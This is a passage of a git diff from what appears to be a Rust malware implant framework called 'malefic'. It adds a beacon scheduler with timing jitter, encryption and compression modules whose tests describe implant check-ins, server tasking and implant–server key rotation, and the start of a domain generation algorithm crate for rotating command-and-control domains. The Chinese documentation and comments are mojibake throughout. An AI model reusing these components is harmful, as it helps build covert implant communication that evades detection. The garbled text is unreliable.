表达å¼è®¡ç®—ä¸‹æ¬¡æ‰§è¡Œé—´éš”ï¼Œå¹¶æ”¯æŒ jitter éšæœºæŠ–动。 + +## 功能简介 + +- è§£æžæ ‡å‡† cron 表达å¼ï¼ˆç§’级精度,6 段格å¼ï¼‰ +- è®¡ç®—å½“å‰æ—¶åˆ»åˆ°ä¸‹ä¸€æ¬¡è§¦å‘的毫秒间隔 +- æ”¯æŒ jitter 抖动,在基准间隔上å åŠ éšæœºå移,é¿å…å¤šå®žä¾‹åŒæ—¶è§¦å‘ +- 最å°è¿”回间隔 1000ms,防止过于频ç¹çš„调度 +- 当无法获å–ä¸‹ä¸€æ¬¡è§¦å‘æ—¶é—´æ—¶ï¼Œè‡ªåŠ¨å›žé€€è‡³ 30 秒默认间隔 + +## 核心结构 + +### `Cronner` + +| 字段 | 类型 | 说明 | +|------|------|------| +| `schedule` | `cron::Schedule` | è§£æžåŽçš„ cron 调度计划 | +| `jitter` | `f64` | 抖动系数,å–值 `0.0`~`1.0`,`0.0` 表示无抖动 | + +### 方法 + +| 方法 | 说明 | +|------|------| +| `new(expression, jitter)` | æ ¹æ® cron 表达å¼å’Œ jitter 系数创建调度器 | +| `next_interval()` | 返回è·ä¸‹æ¬¡è§¦å‘çš„æ¯«ç§’æ•°ï¼ˆå·²å« jitter) | +| `expression()` | 返回原始 cron 表达å¼å­—符串 | + +## 基本用法 + +```rust +use malefic_cron::Cronner; + +// æ¯ 30 秒触å‘一次,jitter 系数 0.1ï¼ˆå³ +-10% éšæœºå移) +let scheduler = Cronner::new("0/30 * * * * *", 0.1).unwrap(); + +// 获å–下次执行的等待时间(毫秒) +let wait_ms = scheduler.next_interval(); + +// 工作时间段调度:æ¯å°æ—¶æ•´ç‚¹ï¼Œ9:00-17:00,无抖动 +let work_scheduler = Cronner::new("0 0 9-17 * * *", 0.0).unwrap(); +let interval = work_scheduler.next_interval(); +``` + +## Jitter 机制 + +jitter ç”¨äºŽåœ¨åŸºå‡†é—´éš”ä¸Šå¼•å…¥éšæœºå移,计算方å¼ï¼š + +``` +jitter_range = base_ms * jitter +offset = random(-jitter_range, +jitter_range) +result = base_ms + offset +``` + +例如 `jitter = 0.2`ã€åŸºå‡†é—´éš” 10000ms 时,实际间隔在 8000ms ~ 12000ms ä¹‹é—´éšæœºåˆ†å¸ƒã€‚ + +## Cron è¡¨è¾¾å¼æ ¼å¼ + +采用 6 段格å¼ï¼ˆå«ç§’): + +``` +ç§’ 分 æ—¶ æ—¥ 月 周 +``` + +| 示例 | å«ä¹‰ | +|------|------| +| `0/30 * * * * *` | æ¯ 30 ç§’ | +| `0 */5 * * * *` | æ¯ 5 分钟 | +| `0 0 9-17 * * *` | æ¯å¤© 9:00-17:00 整点 | +| `0 0 0 * * MON-FRI` | 工作日零点 | + +## å‚考链接 + +- [cron crate](https://crates.io/crates/cron) - Rust cron 表达å¼è§£æžåº“ +- [Cron 表达å¼è¯­æ³•](https://en.wikipedia.org/wiki/Cron#CRON_expression) diff --git a/malefic-crates/cron/src/lib.rs b/malefic-crates/cron/src/lib.rs new file mode 100644 index 0000000..7fca9e9 --- /dev/null +++ b/malefic-crates/cron/src/lib.rs @@ -0,0 +1,78 @@ +use chrono::Utc; +use cron::Schedule; +use std::str::FromStr; + +pub struct Cronner { + schedule: Schedule, + jitter: f64, +} + +impl Cronner { + pub fn new(expression: &str, jitter: f64) -> Result { + let schedule = Schedule::from_str(expression)?; + Ok(Self { schedule, jitter }) + } + + pub fn next_interval(&self) -> u64 { + const DEFAULT_INTERVAL_SECS: i64 = 30; + const MIN_INTERVAL_MS: u64 = 1000; + + let now = Utc::now(); + let next_time = self + .schedule + .upcoming(Utc) + .next() + .unwrap_or_else(|| now + chrono::Duration::seconds(DEFAULT_INTERVAL_SECS)); + + let base_ms = next_time + .signed_duration_since(now) + .num_milliseconds() + .max(0) as u64; + + self.apply_jitter(base_ms).max(MIN_INTERVAL_MS) + } + + fn apply_jitter(&self, base_ms: u64) -> u64 { + if self.jitter == 0.0 { + return base_ms; + } + + let jitter_range = (base_ms as f64 * self.jitter) as u64; + if jitter_range == 0 { + return base_ms; + } + + let offset = + malefic_common::random::range_u64(0, jitter_range * 2 + 1) as i64 - jitter_range as i64; + + (base_ms as i64).saturating_add(offset).max(0) as u64 + } + + pub fn expression(&self) -> String { + self.schedule.source().to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_cron_scheduler() { + let scheduler = Cronner::new("0/30 * * * * *", 0.1).unwrap(); + let interval = scheduler.next_interval(); + assert!(interval > 0); + assert!(interval <= 30000 + 3000); + + let scheduler = Cronner::new("0 * 9-17 * * *", 0.0).unwrap(); + assert!(scheduler.next_interval() > 0); + } + + #[test] + fn test_jitter() { + let scheduler = Cronner::new("0/10 * * * * *", 0.2).unwrap(); + let intervals: Vec = (0..5).map(|_| scheduler.next_interval()).collect(); + let all_same = intervals.windows(2).all(|w| w[0] == w[1]); + assert!(!all_same, "Jitter should cause variation in intervals"); + } +} diff --git a/malefic-crates/crypto/Cargo.toml b/malefic-crates/crypto/Cargo.toml new file mode 100644 index 0000000..deee965 --- /dev/null +++ b/malefic-crates/crypto/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "malefic-crypto" +version = "0.1.0" +edition = "2021" + +[features] +default = ["crypto_aes"] + +crypto = [] +crypto_xor = ["crypto"] +crypto_aes = ["crypto", "aes", "ctr"] +crypto_chacha20 = ["crypto", "chacha20"] + +secure = ["age"] + +[dependencies] +thiserror = { workspace = true } +cfg-if = { workspace = true } +snap = "1.1.1" +chacha20 = { version = "0.9.0", optional = true } +aes = { workspace = true, optional = true } +ctr = { workspace = true, optional = true } +age = { workspace = true, optional = true } diff --git a/malefic-crates/crypto/README.md b/malefic-crates/crypto/README.md new file mode 100644 index 0000000..3d46afc --- /dev/null +++ b/malefic-crates/crypto/README.md @@ -0,0 +1,83 @@ +# malefic-crypto + +æä¾›æµå¼å¯¹ç§°åР坆/解密与 Snappy æ•°æ®åŽ‹ç¼©èƒ½åŠ›çš„è½»é‡çº§å¯†ç å­¦å·¥å…·åº“。 + +## 功能简介 + +- **æµå¼åР坆**:基于 `CryptoStream` trait,统一å°è£…多ç§å¯¹ç§°åŠ å¯†ç®—æ³•ï¼ˆAES-256-CTR / ChaCha20 / XOR) +- **æ•°æ®åŽ‹ç¼©**:基于 Snappy 算法的快速压缩与解压缩 +- **age 加密**:基于 X25519 çš„éžå¯¹ç§°åŠ å¯†ï¼Œæ”¯æŒå¯†é’¥å¯¹ç”Ÿæˆã€åР坆ã€è§£å¯†ä¸Žå¯†é’¥è½®æ¢ +- **编译期算法选择**:通过 feature flag 在编译期选定加密åŽç«¯ï¼Œé›¶è¿è¡Œæ—¶å¼€é”€ + +## Features + +| Feature | 说明 | +|---------|------| +| `crypto_aes` | AES-256-CTR æµå¼åŠ å¯†ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `crypto_chacha20` | ChaCha20 æµå¼åР坆 | +| `crypto_xor` | XOR æµå¼åР坆 | +| `secure` | å¯ç”¨ age (X25519) éžå¯¹ç§°åР坆 | + +> `crypto_aes`ã€`crypto_chacha20`ã€`crypto_xor` 三者互斥,编译时åªèƒ½é€‰æ‹©å…¶ä¸€ä½œä¸º `Cryptor` åŽç«¯ã€‚ + +## 核心类型 + +- **`Cryptor`** - 加密器实例,æä¾› `encrypt`ã€`decrypt`ã€`reset` 方法 +- **`CryptoStream`** - æµå¼åР坆 trait,所有加密åŽç«¯å‡éœ€å®žçް +- **`CryptorError`** - 统一错误类型 + +## 基本用法 + +### 对称加密 + +```rust +use malefic_crypto::crypto::{new_cryptor, Cryptor}; + +// 创建加密器(key: 32 字节, iv: 16 字节,ä¸è¶³è‡ªåŠ¨å¡«å……ï¼‰ +let key = b"my-secret-key".to_vec(); +let iv = b"my-iv".to_vec(); +let mut cryptor = new_cryptor(key, iv); + +// 加密 +let plaintext = b"hello world".to_vec(); +let ciphertext = cryptor.encrypt(plaintext).unwrap(); + +// é‡ç½®å¯†é’¥æµçжæ€åŽè§£å¯† +cryptor.reset(); +let decrypted = cryptor.decrypt(ciphertext).unwrap(); +assert_eq!(decrypted, b"hello world"); +``` + +### Snappy 压缩 + +```rust +use malefic_crypto::compress::{compress, decompress}; + +let data = b"some data to compress"; +let compressed = compress(data).unwrap(); +let decompressed = decompress(&compressed).unwrap(); +assert_eq!(decompressed, data); +``` + +### age éžå¯¹ç§°åР坆 + +```rust +use malefic_crypto::crypto::age::*; + +// ç”Ÿæˆ X25519 密钥对 +let (private_key, public_key) = generate_age_keypair(); + +// 加密 +let ciphertext = age_encrypt(b"secret data", &public_key).unwrap(); + +// 解密 +let plaintext = age_decrypt(&ciphertext, &private_key).unwrap(); +assert_eq!(plaintext, b"secret data"); +``` + +## å‚考链接 + +- [RustCrypto AES](https://github.com/RustCrypto/block-ciphers/tree/master/aes) +- [RustCrypto ChaCha20](https://github.com/RustCrypto/stream-ciphers/tree/master/chacha20) +- [Snappy (snap crate)](https://github.com/BurntSushi/rust-snappy) +- [age encryption](https://github.com/str4d/rage) diff --git a/malefic-crates/crypto/src/compress/mod.rs b/malefic-crates/crypto/src/compress/mod.rs new file mode 100644 index 0000000..4aca59a --- /dev/null +++ b/malefic-crates/crypto/src/compress/mod.rs @@ -0,0 +1,16 @@ +use snap::raw::{Decoder, Encoder}; +use std::io; + +pub fn compress(data: &[u8]) -> io::Result> { + let mut encoder = Encoder::new(); + encoder + .compress_vec(data) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e)) +} + +pub fn decompress(compressed_data: &[u8]) -> io::Result> { + let mut decoder = Decoder::new(); + decoder + .decompress_vec(compressed_data) + .map_err(|e| io::Error::new(io::ErrorKind::Other, e)) +} diff --git a/malefic-proto/src/crypto/aes.rs b/malefic-crates/crypto/src/crypto/aes.rs similarity index 72% rename from malefic-proto/src/crypto/aes.rs rename to malefic-crates/crypto/src/crypto/aes.rs index 5ffbaa8..0ab4d2a 100644 --- a/malefic-proto/src/crypto/aes.rs +++ b/malefic-crates/crypto/src/crypto/aes.rs @@ -1,9 +1,8 @@ +use crate::crypto::CryptoStream; use aes::Aes256; use ctr::cipher::{KeyIvInit, StreamCipher}; use std::io::{Cursor, Read, Write}; -use crate::crypto::CryptoStream; -// AES-256-CTR type alias type Aes256Ctr = ctr::Ctr128BE; #[derive(Clone)] @@ -13,7 +12,7 @@ pub struct AesCtrEncryptor { encrypt_cipher: Option, decrypt_cipher: Option, } - + impl AesCtrEncryptor { pub fn new(key: [u8; 32], iv: [u8; 16]) -> Self { let encrypt_cipher = Aes256Ctr::new(&key.into(), &iv.into()); @@ -25,12 +24,18 @@ impl AesCtrEncryptor { decrypt_cipher: Some(decrypt_cipher), } } - } impl CryptoStream for AesCtrEncryptor { - fn encrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { - let cipher = self.encrypt_cipher.as_mut().ok_or("Cipher not initialized".to_string())?; + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let cipher = self + .encrypt_cipher + .as_mut() + .ok_or("Cipher not initialized".to_string())?; let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; cipher.apply_keystream(&mut buffer); @@ -38,8 +43,15 @@ impl CryptoStream for AesCtrEncryptor { Ok(()) } - fn decrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { - let cipher = self.decrypt_cipher.as_mut().ok_or("Cipher not initialized".to_string())?; + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { + let cipher = self + .decrypt_cipher + .as_mut() + .ok_or("Cipher not initialized".to_string())?; let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; cipher.apply_keystream(&mut buffer); diff --git a/malefic-crates/crypto/src/crypto/age.rs b/malefic-crates/crypto/src/crypto/age.rs new file mode 100644 index 0000000..e980934 --- /dev/null +++ b/malefic-crates/crypto/src/crypto/age.rs @@ -0,0 +1,192 @@ +use age::secrecy::ExposeSecret; +use age::x25519; +use std::str::FromStr; + +pub fn generate_age_keypair() -> (String, String) { + let identity = x25519::Identity::generate(); + let recipient = identity.to_public(); + ( + identity.to_string().expose_secret().to_string(), + recipient.to_string(), + ) +} + +pub fn parse_age_identity(private_key: &str) -> Result { + x25519::Identity::from_str(private_key).map_err(|e| format!("Invalid private key: {}", e)) +} + +pub fn parse_age_recipient(public_key: &str) -> Result { + x25519::Recipient::from_str(public_key).map_err(|e| format!("Invalid public key: {}", e)) +} + +pub fn age_encrypt(data: &[u8], public_key: &str) -> Result, String> { + let recipient = parse_age_recipient(public_key)?; + age::encrypt(&recipient, data).map_err(|e| format!("Failed to encrypt: {}", e)) +} + +pub fn age_decrypt(encrypted_data: &[u8], private_key: &str) -> Result, String> { + let identity = parse_age_identity(private_key)?; + age::decrypt(&identity, encrypted_data).map_err(|e| format!("Failed to decrypt: {}", e)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_age_encrypt_decrypt_roundtrip() { + let (private_key, public_key) = generate_age_keypair(); + let plaintext = b"Hello, age encryption!"; + + let encrypted = age_encrypt(plaintext, &public_key).expect("encrypt failed"); + assert_ne!( + encrypted, plaintext, + "ciphertext must differ from plaintext" + ); + assert!( + encrypted.len() > plaintext.len(), + "ciphertext must be larger than plaintext" + ); + + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt failed"); + assert_eq!( + decrypted, plaintext, + "round-trip must recover original data" + ); + } + + #[test] + fn test_age_bidirectional_communication() { + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Implant -> Server + let msg = b"implant checkin data"; + let enc = age_encrypt(msg, &server_pub).expect("encrypt to server"); + let dec = age_decrypt(&enc, &server_priv).expect("server decrypt"); + assert_eq!(dec, msg); + + // Server -> Implant + let msg2 = b"server tasking payload"; + let enc2 = age_encrypt(msg2, &implant_pub).expect("encrypt to implant"); + let dec2 = age_decrypt(&enc2, &implant_priv).expect("implant decrypt"); + assert_eq!(dec2, msg2); + } + + #[test] + fn test_age_wrong_key_decrypt_fails() { + let (_priv_a, pub_a) = generate_age_keypair(); + let (priv_b, _pub_b) = generate_age_keypair(); + + let encrypted = age_encrypt(b"secret", &pub_a).expect("encrypt"); + assert!( + age_decrypt(&encrypted, &priv_b).is_err(), + "wrong key must fail" + ); + } + + #[test] + fn test_age_tamper_detection() { + let (private_key, public_key) = generate_age_keypair(); + let mut encrypted = age_encrypt(b"integrity data", &public_key).expect("encrypt"); + + let mid = encrypted.len() / 2; + encrypted[mid] ^= 0xFF; + + assert!( + age_decrypt(&encrypted, &private_key).is_err(), + "tampered data must fail" + ); + } + + #[test] + fn test_age_empty_plaintext() { + let (private_key, public_key) = generate_age_keypair(); + let encrypted = age_encrypt(b"", &public_key).expect("encrypt empty"); + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt empty"); + assert_eq!(decrypted, b""); + } + + #[test] + fn test_age_large_payload() { + let (private_key, public_key) = generate_age_keypair(); + let plaintext: Vec = (0..65536).map(|i| (i % 256) as u8).collect(); + + let encrypted = age_encrypt(&plaintext, &public_key).expect("encrypt large"); + let decrypted = age_decrypt(&encrypted, &private_key).expect("decrypt large"); + assert_eq!(decrypted, plaintext); + } + + #[test] + fn test_age_public_key_derivation() { + let (private_key, public_key) = generate_age_keypair(); + let identity = parse_age_identity(&private_key).expect("parse identity"); + let derived_pub = identity.to_public().to_string(); + assert_eq!(derived_pub, public_key, "derived public key must match"); + } + + #[test] + fn test_age_key_exchange_e2e() { + // Phase 1: Initial keys + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Verify initial bidirectional + let enc1 = age_encrypt(b"init i2s", &server_pub).unwrap(); + assert_eq!(age_decrypt(&enc1, &server_priv).unwrap(), b"init i2s"); + let enc2 = age_encrypt(b"init s2i", &implant_pub).unwrap(); + assert_eq!(age_decrypt(&enc2, &implant_priv).unwrap(), b"init s2i"); + + // Phase 2: Key rotation + let (new_server_priv, new_server_pub) = generate_age_keypair(); + let req = age_encrypt(new_server_pub.as_bytes(), &implant_pub).unwrap(); + let dec_req = age_decrypt(&req, &implant_priv).unwrap(); + assert_eq!(String::from_utf8(dec_req).unwrap(), new_server_pub); + + // Phase 3: Implant new keypair + let (new_implant_priv, new_implant_pub) = generate_age_keypair(); + let resp = age_encrypt(new_implant_pub.as_bytes(), &server_pub).unwrap(); + let dec_resp = age_decrypt(&resp, &server_priv).unwrap(); + assert_eq!(String::from_utf8(dec_resp).unwrap(), new_implant_pub); + + // Phase 4: New keys work + let enc3 = age_encrypt(b"post i2s", &new_server_pub).unwrap(); + assert_eq!(age_decrypt(&enc3, &new_server_priv).unwrap(), b"post i2s"); + let enc4 = age_encrypt(b"post s2i", &new_implant_pub).unwrap(); + assert_eq!(age_decrypt(&enc4, &new_implant_priv).unwrap(), b"post s2i"); + + // Phase 5: Old keys fail on new data + assert!( + age_decrypt(&enc3, &server_priv).is_err(), + "old server key must fail" + ); + assert!( + age_decrypt(&enc4, &implant_priv).is_err(), + "old implant key must fail" + ); + } + + #[test] + fn test_age_encrypt_decrypt_key_separation() { + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, _implant_pub) = generate_age_keypair(); + + let msg = b"test separation"; + let encrypted = age_encrypt(msg, &server_pub).unwrap(); + + // Correct: decrypt with server_priv + assert_eq!(age_decrypt(&encrypted, &server_priv).unwrap(), msg); + + // Wrong: public key is not a valid identity + assert!( + age_decrypt(&encrypted, &server_pub).is_err(), + "public key must not work as decrypt key" + ); + + // Wrong: unrelated private key + assert!( + age_decrypt(&encrypted, &implant_priv).is_err(), + "unrelated private key must fail" + ); + } +} diff --git a/malefic-proto/src/crypto/chacha20.rs b/malefic-crates/crypto/src/crypto/chacha20.rs similarity index 61% rename from malefic-proto/src/crypto/chacha20.rs rename to malefic-crates/crypto/src/crypto/chacha20.rs index 44b93a6..c3bcbab 100644 --- a/malefic-proto/src/crypto/chacha20.rs +++ b/malefic-crates/crypto/src/crypto/chacha20.rs @@ -1,13 +1,13 @@ +use crate::crypto::CryptoStream; +use chacha20::cipher::{KeyIvInit, StreamCipher, StreamCipherSeek}; use chacha20::ChaCha20; -use chacha20::cipher::{KeyIvInit, StreamCipherSeek, StreamCipher}; use std::io::{Cursor, Read, Write}; -use crate::crypto::CryptoStream; pub struct ChaCha20Encryptor { key: [u8; 32], iv: [u8; 12], - encrypt_offset: u64, // 用于加密的åç§»é‡ - decrypt_offset: u64, // 用于解密的åç§»é‡ + encrypt_offset: u64, + decrypt_offset: u64, } impl ChaCha20Encryptor { @@ -15,53 +15,44 @@ impl ChaCha20Encryptor { ChaCha20Encryptor { key, iv, - encrypt_offset: 0, // åˆå§‹åŒ–加密åç§»é‡ - decrypt_offset: 0, // åˆå§‹åŒ–解密åç§»é‡ + encrypt_offset: 0, + decrypt_offset: 0, } } } impl CryptoStream for ChaCha20Encryptor { - fn encrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { let mut cipher = ChaCha20::new(&self.key.into(), &self.iv.into()); - - // 设置 cipher 的加密åç§» cipher.seek(self.encrypt_offset); - let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; - - // In-place 加密 cipher.apply_keystream(&mut buffer); - - // 更新加密åç§»é‡ self.encrypt_offset += buffer.len() as u64; - writer.write_all(&buffer).map_err(|e| e.to_string())?; Ok(()) } - fn decrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { let mut cipher = ChaCha20::new(&self.key.into(), &self.iv.into()); - - // 设置 cipher 的解密åç§» cipher.seek(self.decrypt_offset); - let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; - - // In-place 解密 (ChaCha20 加解密相åŒ) cipher.apply_keystream(&mut buffer); - - // 更新解密åç§»é‡ self.decrypt_offset += buffer.len() as u64; - writer.write_all(&buffer).map_err(|e| e.to_string())?; Ok(()) } fn reset(&mut self) { - // é‡ç½®åŠ å¯†å’Œè§£å¯†çš„åç§»é‡ self.encrypt_offset = 0; self.decrypt_offset = 0; } diff --git a/malefic-proto/src/crypto/mod.rs b/malefic-crates/crypto/src/crypto/mod.rs similarity index 55% rename from malefic-proto/src/crypto/mod.rs rename to malefic-crates/crypto/src/crypto/mod.rs index 9532098..6d479a5 100644 --- a/malefic-proto/src/crypto/mod.rs +++ b/malefic-crates/crypto/src/crypto/mod.rs @@ -1,27 +1,33 @@ -#[cfg(feature = "Crypto_AES")] +#[cfg(feature = "crypto_aes")] pub mod aes; -#[cfg(feature = "Crypto_Chacha20")] -pub mod chacha20; -#[cfg(feature = "Crypto_XOR")] -pub mod xor; #[cfg(feature = "secure")] pub mod age; +#[cfg(feature = "crypto_chacha20")] +pub mod chacha20; +#[cfg(feature = "crypto_xor")] +pub mod xor; #[derive(Error, Debug)] pub enum CryptorError { #[error("Encrypt error, {0}")] EncryptError(String), - #[error("Decrypt error, {0}")] DecryptError(String), - #[error("I/O error, {0}")] IO(#[from] std::io::Error), } pub trait CryptoStream: Send + Sync { - fn encrypt(&mut self, reader: &mut std::io::Cursor>, writer: &mut std::io::Cursor>) -> Result<(), String>; - fn decrypt(&mut self, reader: &mut std::io::Cursor>, writer: &mut std::io::Cursor>) -> Result<(), String>; + fn encrypt( + &mut self, + reader: &mut std::io::Cursor>, + writer: &mut std::io::Cursor>, + ) -> Result<(), String>; + fn decrypt( + &mut self, + reader: &mut std::io::Cursor>, + writer: &mut std::io::Cursor>, + ) -> Result<(), String>; fn reset(&mut self); } @@ -29,21 +35,14 @@ use std::vec::Vec; use thiserror::Error; cfg_if::cfg_if! { - if #[cfg(feature = "Crypto_AES")] { + if #[cfg(feature = "crypto_aes")] { pub use aes::AesCtrEncryptor as cryptor; pub fn new_cryptor(key: Vec, iv: Vec) -> Cryptor { let key_array: [u8; 32] = pkcs7_pad(key, 32).try_into().expect("Invalid key length for AES"); let iv_array: [u8; 16] = pkcs7_pad(iv, 16).try_into().expect("Invalid IV length for AES"); Cryptor{cryptor: cryptor::new(key_array, iv_array)} } - // } else if #[cfg(feature = "Crypto_Chacha20")] { - // pub use chacha20::ChaCha20Encryptor as cryptor; - // pub fn new_cryptor(key: Vec, iv: Vec) -> cryptor { - // let key_array: [u8; 32] = key.try_into().expect("Invalid key length for ChaCha20"); - // let iv_array: [u8; 12] = iv.try_into().expect("Invalid IV length for ChaCha20"); - // cryptor::new(key_array, iv_array) - // } - } else if #[cfg(feature = "Crypto_XOR")] { + } else if #[cfg(feature = "crypto_xor")] { pub use xor::XorEncryptor as cryptor; pub fn new_cryptor(key: Vec, iv: Vec) -> Cryptor { Cryptor{cryptor: cryptor::new(key, iv)} @@ -55,33 +54,28 @@ cfg_if::cfg_if! { #[derive(Clone)] pub struct Cryptor { - pub cryptor: cryptor + pub cryptor: cryptor, } impl Cryptor { pub fn encrypt(&mut self, data: Vec) -> Result, CryptorError> { let mut reader = std::io::Cursor::new(data); let mut writer = std::io::Cursor::new(Vec::new()); - - self.cryptor.encrypt(&mut reader, &mut writer).map_err(|e| { - CryptorError::EncryptError(e) - })?; - + self.cryptor + .encrypt(&mut reader, &mut writer) + .map_err(|e| CryptorError::EncryptError(e))?; Ok(writer.into_inner()) } - // 解密函数 pub fn decrypt(&mut self, data: Vec) -> Result, CryptorError> { let mut reader = std::io::Cursor::new(data); let mut writer = std::io::Cursor::new(Vec::new()); - - self.cryptor.decrypt(&mut reader, &mut writer).map_err(|e| { - CryptorError::EncryptError(e) - })?; - + self.cryptor + .decrypt(&mut reader, &mut writer) + .map_err(|e| CryptorError::DecryptError(e))?; Ok(writer.into_inner()) } - + pub fn reset(&mut self) { self.cryptor.reset(); } @@ -89,11 +83,10 @@ impl Cryptor { pub fn pkcs7_pad(mut data: Vec, block_size: usize) -> Vec { if data.len() >= block_size { - data.truncate(block_size); // 如果数æ®å·²ç»å¤§äºŽæˆ–等于指定长度,直接截断 + data.truncate(block_size); return data; } - - let padding = block_size - data.len(); // 计算需è¦å¡«å……的字节数 - data.extend(vec![0u8; padding]); // 使用 0 进行填充 + let padding = block_size - data.len(); + data.extend(vec![0u8; padding]); data -} \ No newline at end of file +} diff --git a/malefic-proto/src/crypto/xor.rs b/malefic-crates/crypto/src/crypto/xor.rs similarity index 55% rename from malefic-proto/src/crypto/xor.rs rename to malefic-crates/crypto/src/crypto/xor.rs index 356d552..e0a16c1 100644 --- a/malefic-proto/src/crypto/xor.rs +++ b/malefic-crates/crypto/src/crypto/xor.rs @@ -1,12 +1,12 @@ -use std::io::{Cursor, Read, Write}; use crate::crypto::CryptoStream; +use std::io::{Cursor, Read, Write}; #[derive(Clone)] pub struct XorEncryptor { key: Vec, iv: Vec, - encrypt_counter: usize, // 用于加密的计数器 - decrypt_counter: usize, // 用于解密的计数器 + encrypt_counter: usize, + decrypt_counter: usize, } impl XorEncryptor { @@ -23,48 +23,42 @@ impl XorEncryptor { fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) { let key_len = key.len(); let iv_len = iv.len(); - for (i, byte) in data.iter_mut().enumerate() { let index = *counter + i; - let key_byte = key[index % key_len]; - let iv_byte = iv[index % iv_len]; - *byte ^= key_byte ^ iv_byte; // XOR encryption/decryption + *byte ^= key[index % key_len] ^ iv[index % iv_len]; } - *counter += data.len(); } impl CryptoStream for XorEncryptor { - fn encrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { + fn encrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; - - let key = self.key.clone(); // 克隆 key å’Œ iv,é¿å…å€Ÿç”¨å†²çª + let key = self.key.clone(); let iv = self.iv.clone(); - let encrypt_counter = &mut self.encrypt_counter; - - // æå– xor_process 的逻辑 - xor_process(&mut buffer, &key, &iv, encrypt_counter); - + xor_process(&mut buffer, &key, &iv, &mut self.encrypt_counter); writer.write_all(&mut buffer).map_err(|e| e.to_string())?; Ok(()) } - fn decrypt(&mut self, reader: &mut Cursor>, writer: &mut Cursor>) -> Result<(), String> { + fn decrypt( + &mut self, + reader: &mut Cursor>, + writer: &mut Cursor>, + ) -> Result<(), String> { let mut buffer = Vec::new(); reader.read_to_end(&mut buffer).map_err(|e| e.to_string())?; - - let key = self.key.clone(); // 克隆 key å’Œ iv,é¿å…å€Ÿç”¨å†²çª + let key = self.key.clone(); let iv = self.iv.clone(); - let decrypt_counter = &mut self.decrypt_counter; - - // æå– xor_process 的逻辑 - xor_process(&mut buffer, &key, &iv, decrypt_counter); - + xor_process(&mut buffer, &key, &iv, &mut self.decrypt_counter); writer.write_all(&mut buffer).map_err(|e| e.to_string())?; Ok(()) } - + fn reset(&mut self) { self.encrypt_counter = 0; self.decrypt_counter = 0; diff --git a/malefic-crates/crypto/src/lib.rs b/malefic-crates/crypto/src/lib.rs new file mode 100644 index 0000000..15f01e8 --- /dev/null +++ b/malefic-crates/crypto/src/lib.rs @@ -0,0 +1,2 @@ +pub mod compress; +pub mod crypto; diff --git a/malefic-crates/dga/Cargo.toml b/malefic-crates/dga/Cargo.toml new file mode 100644 index 0000000..4b3800b --- /dev/null +++ b/malefic-crates/dga/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "malefic-dga" +version = "0.1.0" +edition = "2021" + +[dependencies] +chrono = { workspace = true } +sha2 = { workspace = true } +thiserror = { workspace = true } +malefic-common = { workspace = true } +malefic-config = { workspace = true } +malefic-gateway = { workspace = true } diff --git a/malefic-crates/dga/README.md b/malefic-crates/dga/README.md new file mode 100644 index 0000000..5df318a --- /dev/null +++ b/malefic-crates/dga/README.md @@ -0,0 +1,71 @@ +# malefic-dga + +基于时间窗å£å’Œ SHA-256 哈希的域å生æˆç®—法(DGA)实现。 + +## 功能简介 + +- æ ¹æ®å½“剿—¶é—´çª—å£å’Œé¢„共享密钥,动æ€ç”ŸæˆåŸŸåå‰ç¼€ +- 使用 SHA-256 对 `æ—¶é—´ç§å­ + 密钥` 进行哈希,映射为 8 ä½å°å†™å­—æ¯å‰ç¼€ +- 支æŒå¯é…置的时间窗å£é—´éš”ï¼ˆæŒ‰å°æ—¶åˆ’分) +- 自动将生æˆçš„域å应用到æœåŠ¡ç«¯é…置(地å€ã€TLS SNIã€HTTP Host) +- 支æŒå¤šåŸŸååŽç¼€æ‰¹é‡ç”Ÿæˆ + +## 核心结构 + +| 结构体 / 枚举 | 说明 | +|----------------|------| +| `TimeWindow` | 时间窗å£ï¼ŒæŒ‰å¹´/月/æ—¥/å°æ—¶æ®µåˆ’分,用于生æˆç§å­å­—符串 | +| `DgaAlgorithm` | DGA ç®—æ³•æ ¸å¿ƒï¼ŒæŒæœ‰å¯†é’¥ã€é—´éš”和域ååŽç¼€åˆ—表 | +| `DgaGenerator` | 高层生æˆå™¨ï¼Œä»ŽæœåŠ¡ç«¯é…置模æ¿ç”Ÿæˆæ–°çš„带 DGA 域åçš„é…ç½® | +| `DgaDomain` | 生æˆç»“果,包å«å®Œæ•´åŸŸåã€ç§å­ã€å‰ç¼€å’ŒåŽç¼€ | +| `DgaError` | 错误类型(ç¦ç”¨ã€æ— åŸŸåã€æ— 